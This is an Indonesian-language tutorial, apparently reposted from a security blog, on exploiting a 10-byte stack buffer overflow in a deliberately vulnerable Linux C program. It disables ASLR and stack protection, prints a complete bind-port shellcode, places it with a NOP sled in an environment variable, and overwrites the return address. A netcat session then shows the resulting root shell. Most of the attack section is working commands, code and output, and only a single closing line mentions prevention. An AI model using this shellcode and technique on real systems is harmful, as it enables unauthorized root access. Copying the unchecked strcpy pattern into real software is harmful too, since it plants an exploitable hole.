Friday , April 19 2024
Home / White Paper / Linux Buffer Overflow Tutorial Part II

Linux Buffer Overflow Tutorial Part II

Pendahuluan

Pada tutorial edisi pertama saya menjelaskan tutorial buffer overflow berbuffer 400 byte.
anda bisa melihat tutorial sebelumnya disini -> http://www.exploit-db.com/papers/14069/
sekarang saya akan menjelaskan “bagaimana cara jika buffer lebih kecil dari ukuran payload kita terutama shellcode ?”
dan saya akan menjelaskan strateginya pada tutorial ini.

Skenario

kita bisa lihat source aplikasi sebelumnya mirip pada source aplikasi tutorial ini.
hanya saja yang membedakan buffernya. kali ini aplikasi berbuffer 10 bytes.

sebelum melanjutkan experimen pada skenario tutorial ini, jangan lupa matikan randomisasi stack terlebih dahulu.

[sociallocker][text]root@bt:~# cat /proc/sys/kernel/randomize_va_space
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space[/text] [c]———————bof2.c————————–
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[10];
strcpy(buffer, argv[1]);

return 0;
}

———————EOF—————————–[/c]

save dengan nama bof2.c ,compile program tersebut .
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.

[text]root@bt:~# gcc -g -o bof2 -fno-stack-protector -mpreferred-stack-boundary=2 bof2.c[/text]

jadi, bagaimana cara pengexploitasiannya jika buffer sekecil itu ?
kita bisa gunakan “ENVIRONMENT VARIABLE” untuk menyimpan nopsled dan shellcode .
lalu kita ulangi address NOP sampai mengoverwrite register EIP.

langkah pertama, kita perlu menaruh shellcode ke bentuk binary.
saya akan gunakan shellcode binding port 13123 pada tutorial ini,
dan anda bisa melihat shellcode tersebut di sini : http://inj3ct0r.com/exploits/12608

[text]root@bt:~/bof# echo -ne "xebx11x5ex31xc9xb1x65x80x6cx0exffx35x80xe9x01x75xf6xebx05xe8xeaxffxffxffx66xf5x66x10x66x07x85x9fx36x9fx37xbex16x33xf8xe5x9bx02xb5xbexfbx87x9dxf0x37x68x78xbex16x9fx45x86x8bxbex16x33xf8xe5x9bx02xb5x87x8bxbex16xe8x39xe5x9bx02xb5x87x87x8bxbex16x33xf8xe5x9bx02xb5xbexf8x66xfexe5x74x02xb5x76xe5x74x02xb5x76xe5x74x02xb5x87x9dx64x64xa8x9dx9dx64x97x9exa3xbex18x87x88xbex16xe5x40x02xb5" > shellcode3.bin
root@bt:~/bof# cat shellcode3.bin
ë^1ɱelÿ5éuöëèêÿÿÿfõff67¾3øå¾ûð7hx¾E¾3øå¾è9å¾3øå¾øfþåtµvåtµvåtµdd¨d£¾?¾å@µroot@bt:~/bof#[/text]

selanjutnya, kita buat “ENVIRONMENT VARIABLE” berisi : 200 bytes NOPSLED + SHELLCODE

[text]root@bt:~/bof# export PAYLOAD=$(perl -e ‘print "x90" x 200’)$(cat shellcode.bin)
root@bt:~/bof# echo $PAYLOAD
ë^1ɱelÿ5éuöëèêÿÿÿfõff67¾3øå¾ûð7hx¾E¾3øå¾è9å¾3øå¾øfþåtµvåtµvåtµdd¨d£¾?¾å@µ[/text]

ok, kita baru saja selesai menaruh PAYLOAD kita di “ENVIRONMENT VARIABLE”.

[h1]Fungsi getenv()[/h1]

sekarang kita gunakan getenv() pada bahasa c.
fungsi getenv() adalah untuk mendapatkan return address variable environment (get environment variable).
jadi kita menggunakan fungsi tersebut untuk mendapatkan return address PAYLOAD kita sebelumnya pada “ENVIRONMENT VARIABLE”.
dan source aplikasinya seperti berikut .

[c]———————getenv.c————————–
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
printf("%s terletak pada address %pn", argv[1], getenv(argv[1]));
return (0);
}
———————EOF—————————–[/c]

yah sangat simple bukan?, namun sangat berguna.

lalu compile program tersebut

[text]root@bt:~/bof# gcc -o getenv getenv.c
root@bt:~/bof#[/text]

sekarang, kita bisa liat dimana alamat PAYLOAD kita berada.

[text]root@bt:~/bof# ./getenv PAYLOAD[/text]

PAYLOAD terletak pada address 0xbffffe1e

sudah jelas… kita mengetahui PAYLOAD terletak pada address 0xbffffe1e dengan mudah .
kemudian kita tambahkan, sebut saja 100 bytes karena kita harus menemukan alamat yang terletak dengan alamat pertengahan NOPSLED berada.

[text]root@bt:~/bof# printf "%xn" $((0xbffffe1e + 100))
bffffe82[/text]

sudah kita dapatkan 0xbffffe1e + 100 = bffffe82 , lalu kita rubah ke bentuk little endian.

-> 82feffbf

lalu kita ubah ke bentuk shellcode

-> x82xfexffxbf

[h1]Eksploitasi[/h1] sekarang saatnya kita run PAYLOAD kita pada aplikasi yang vulnerable buffer overflow tersebut .

[text]root@bt:~/bof# ./bof2 $(perl -e ‘print "x82xfexffxbf" x 10’)
Segmentation fault[/text]

kita mendapatkan segmentation fault karena kita tidak menggunakan sederetan perulangan address.
lalu bagaimana ? kita bisa gunakan NOP untuk mendorong (push) address dengan cara menaikan byte per byte.

[text]root@bt:~/bof# ./bof2 $(perl -e ‘print "x90" . "x82xfexffxbf" x 10’)
Segmentation fault[/text]

masih mendapatkan segmentation fault, coba kita naikan 1 byte demi byte lagi pada address NOP…

[text]root@bt:~/bof# ./bof2 $(perl -e ‘print "x90" x 2 . "x82xfexffxbf" x 10’)[/text]

OoOoOpsss, program bof tidak exit ? apa yang terjadi ? apa shellcode kita tereksekusi dengan baik ?
sebelumnya kita menggunakan shellcode bindport pada port 13123 ,
coba kita buka tab konsole baru dan sambungkan dengan netcat .

[text]root@bt:~# nc localhost 13123
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
hostname
bt
echo YUMMY!
YUMMY![/text]

kita sudah berhasil lagi dalam mengexploitasi buffer overflow .[/sociallocker]

— Kesimpulan
kesimpulannya, bahwa seberapa kecil buffer pada aplikasi tetap memungkinkan terjadinya buffer overflow .
untuk mencegah terjadinya buffer overflow adalah dengan cara membatasi seberapa bytes input data yang dimasukan oleh user.

Original post from cr0security.com